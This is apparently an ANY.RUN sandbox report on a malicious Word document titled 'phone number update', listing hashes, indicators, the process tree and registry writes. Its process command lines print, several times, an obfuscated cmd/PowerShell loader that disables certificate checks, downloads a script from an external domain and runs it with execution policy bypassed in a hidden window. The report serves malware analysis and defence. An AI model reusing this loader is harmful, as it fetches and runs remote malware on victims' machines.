File name:

обновление телефонных номеров.docx

Full analysis: https://app.any.run/tasks/49095c63-bff0-48d2-ba0b-e6f0cd763726
Verdict: Malicious activity
Analysis date: May 16, 2025, 09:11:46
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
ole-embedded
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

73954F87FB435FF564AACF1F8F71885B

SHA1:

9BCD595AA7564EB17D11699040E597D027C2BABC

SHA256:

0E356692E0BD6D1770998466C4F7BDA1BB1DE48022D98B1EC899E80DB4B166D5

SSDEEP:

768:b2y9h4+FQmeeFFEwu+h5HkWfsZjypfWfnaYU6zP+mc4jmWclca5+:b2y9h6meeFpuEkWfsZwWbUOOC5

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from MS Office

      • WINWORD.EXE (PID: 5048)
    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7796)
    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 7760)
    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7796)
    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 7796)
  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 7464)
    • Uses RUNDLL32.EXE to load library

      • WinRAR.exe (PID: 7464)
    • Starts CMD.EXE for commands execution

      • rundll32.exe (PID: 7660)
      • cmd.exe (PID: 7700)
      • cmd.exe (PID: 7760)
    • Process run an executable payload

      • rundll32.exe (PID: 7660)
    • Application launched itself

      • cmd.exe (PID: 7700)
      • cmd.exe (PID: 7760)
    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7760)
  • INFO

    • Reads security settings of Internet Explorer

      • splwow64.exe (PID: 7320)
      • rundll32.exe (PID: 7660)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7796)
    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 7796)
    • Disables trace logs

      • powershell.exe (PID: 7796)
    • Checks proxy server information

      • powershell.exe (PID: 7796)
    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 7796)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xa12c8f6b
ZipCompressedSize: 454
ZipUncompressedSize: 2012
ZipFileName: [Content_Types].xml

XMP

Title: -
Subject: -
Description: -

XML

Keywords: -
CreateDate: 2025:04:29 22:59:00Z
ModifyDate: 2025:05:15 00:03:00Z
Template: Normal.dotm
TotalEditTime: 2.4 hours
Pages: 1
Words: 48
Characters: 277
Application: Microsoft Office Word
DocSecurity: None
Lines: 2
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 324
SharedDoc: No
HyperlinksChanged: No
AppVersion: 14
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
142
Monitored processes
12
Malicious processes
3
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winword.exe sppextcomobj.exe no specs slui.exe no specs ai.exe no specs splwow64.exe no specs winrar.exe no specs rundll32.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1168C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
3132"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exeSppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5048"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\обновление телефонных номеров.docx" /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
5988"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "656E0575-AA34-4900-8127-D764D7769698" "AFDB2FD3-8CD8-49BD-8A49-9CA216378F94" "5048"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64.
Version:
0.12.2.0
Modules
Images
c:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\ai.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\advapi32.dll
c:\program files\common files\microsoft shared\clicktorun\c2r64.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ole32.dll
c:\windows\system32\ucrtbase.dll
7320C:\WINDOWS\splwow64.exe 8192C:\Windows\splwow64.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Print driver host for applications
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\splwow64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7464"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\{4302FCD7-EB1A-43A4-8763-80E24E7BAC0C}\{120451D4-8ADD-486B-B536-961B93CD154B}\2025.rar"C:\Program Files\WinRAR\WinRAR.exeWINWORD.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7660"C:\Windows\System32\rundll32.exe" Shell32.DLL,ShellExec_RunDLL C:\WINDOWS\system32\cmd.exe /c set p1=-e&&set p3=p B&&set p4=Y&&set p5=Pa&&set p6=sS&&set p7=power&&set p8=shell&&C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 ^| %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\rundll32.exeWinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
7700"C:\WINDOWS\system32\cmd.exe" /c set p1=-e&&set p3=p B&&set p4=Y&&set p5=Pa&&set p6=sS&&set p7=power&&set p8=shell&&C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 ^| %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\cmd.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
7708\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7760C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 | %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
Total events
25 633
Read events
25 273
Write events
340
Delete events
20

Modification events

(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:0
Value:
017012000000001000B24E9A3E02000000000000000600000000000000
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:ChunkCount
Value:
uint64_t|36
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:1.37
Value:
616C546F5375627374726174655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436835526F6F74436F6D706F6E656E745C22203A207B205C224576656E74735C22203A207B205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2255736572416374697665496E436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C22476574526F6F74566965775C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F6164526F6F74436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765745265636170566965775C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726F63657373446565704C696E6B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2243726561746543616E766173436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F616443616E766173436F6D706F6E656E7446726F6D4461746153746F72655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657443616E766173436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22496E746572616374697665506572666F726D616E63655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224C6F6F70436F6E74726F6C5469746C65526F7757697468436F6D705469746C655C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C224C6F6F70436F6E74726F6C436F6D706F6E656E745469746C65436C69636B65645C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F70696C6F745C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C2241736B436F70696C6F744D4C4D6F64656C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F74446174614F626A656374456E61626C65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F7443757272656E74557365725265736F6C7665645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F744C6F6164696E67566965775C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C22436F70696C6F74507265666978427574746F6E436C69636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F74436F6D706F6E656E74437265617465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F74436F6D706F6E656E7452656D6F7665645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F74466565646261636B427574746F6E436C69636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726F76696465466565646261636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F7441736B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F7443616E63656C41736B5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22436F70696C6F7453636F7265636172644D6574726963735C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F7079427574746F6E5C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C22436C69636B436F7079427574746F6E5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F6D706F6E656E745578436F7079427574746F6E5C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C22506572736F6E53756D6D617279436F6D706F6E656E745C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C224E756D62657253756D6D617279436F6D706F6E656E745C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2244696173436F6D706F6E656E745C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C224368616E6765446174655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2244696173436C69636B4576656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C224174747269627574696F6E55585C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526563656E744368616E6765735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225761726E696E675C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E73756666696369656E74436C61696D735C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224E756467655C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C22446973636F766572416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22506C6179416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E73657274416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224175746F506C6179416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224162616E646F6E416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224469736D697373416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2244656C657465416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224469736D6973734175746F706C61796564416E63686F7265644E756467655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C2242617365526F6F74436F6D706F6E656E745C22203A207B205C224576656E74735C22203A207B205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C224D696E696669636174696F6E436174636875705C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F6D706F6E656E74506572665C22203A207B205C225375624E616D657370616365735C22203A207B205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C22436F6D706F6E656E7452656E6465725C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F6C6C61707369626C65427574746F6E50616E656C5C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C22436C69636B4F766572666C6F77427574746F6E5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22466C7569644C6561705C22203A207B205C225375624E616D657370616365735C22203A207B205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E73756666696369656E74436C61696D735C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224F766572666C6F77427574746F6E5C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C22436C69636B4F766572666C6F77427574746F6E5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F617574686F7247616C6C6572795C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C22436F6D706F6E656E74486561646572416464546F576F726B7370616365427574746F6E5C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C224C6F6F70436F6E74726F6C416464546F576F726B7370616365436C69636B65645C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224C6162656C53756D6D617279436F6D706F6E656E745C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C224F6666696365506F6C6963795C22203A207B205C225375624E616D657370616365735C22203A207B205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C225265616374696F6E735C22203A207B205C224576656E74735C22203A207B205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22596F75747562655C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2255736572416374697665496E436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224C6F6F70436F6E74726F6C5469746C65526F775C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C224C6F6F70436F6E74726F6C436F6D706F6E656E745469746C65436C69636B65645C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C2252656361705C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C224372656174655265636170427574746F6E436C69636B65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253756D6D6172697A654368616E676573427574746F6E436C69636B65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22506F73745265636170427574746F6E436C69636B65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252656361704C6973744974656D53656C65637465645C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C2243616C6C526563617053756D6D6172794D6F64656C5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C2252756C654275696C6465725C22203A207B205C224576656E74735C22203A207B205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2252756C654275696C64657253656C65637465644F7074696F6E735570646174655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224F66666963655C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2255736572416374697665496E436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22427573696E65737350726F636573734175746F6D6174696F6E5C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C22425041536572766963654765744E657752756C6549645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22425041536572766963655472696767657252756C655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252756C6553746F72654576616C7561746552756C65734F6E547269676765725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2244656C65746552756C655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252756C6553746F7265476574416C6C52756C65735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252756C65547269676765725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22425041536572766963654765744865616C7468436865636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F6754656E616E74456E7669726F6E6D656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C22526574727952756C654372656174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656C6563744175746F6D6174696F6E4F7074696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253686F774C6973744F6652756C65735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436C65617252756C654372656174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656C65637444656C65746552756C655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F6E7461696E657253657373696F6E5C22203A207B205C224576656E74735C22203A207B205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C224C6F6F7050616765556E6675726C5C22203A207B205C224576656E74735C22203A207B205C22446973706F73655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E73756666696369656E74436C61696D735C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C22566965774372656174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225669657752656E646572696E674D6561737572655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657446696C65507265766965774D65746164617461526573706F6E73655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F6F704D65746164617461526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2255736572416374697665496E436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:ChunkCount
Value:
uint64_t|37
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:1.38
Value:
2C205C22436F6D706F6E656E74506172745C22203A207B205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2255736572416374697665496E436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224C6F6F70506C616E6E6572496E73657274696F6E5C22203A207B205C224576656E74735C22203A207B205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C2252656E646572506C616E6E6572496E73657274696F6E566965775C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C2257534554466F756E64496E506C61636573536572766963655C22203A207B205C224576656E74735C22203A207B205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E73756666696369656E74436C61696D735C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224669676D615C22203A207B205C224576656E74735C22203A207B205C22496E666F5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C224D5453466F756E64496E506C61636573536572766963655C22203A207B205C225375624E616D657370616365735C22203A207B205C2247656E657269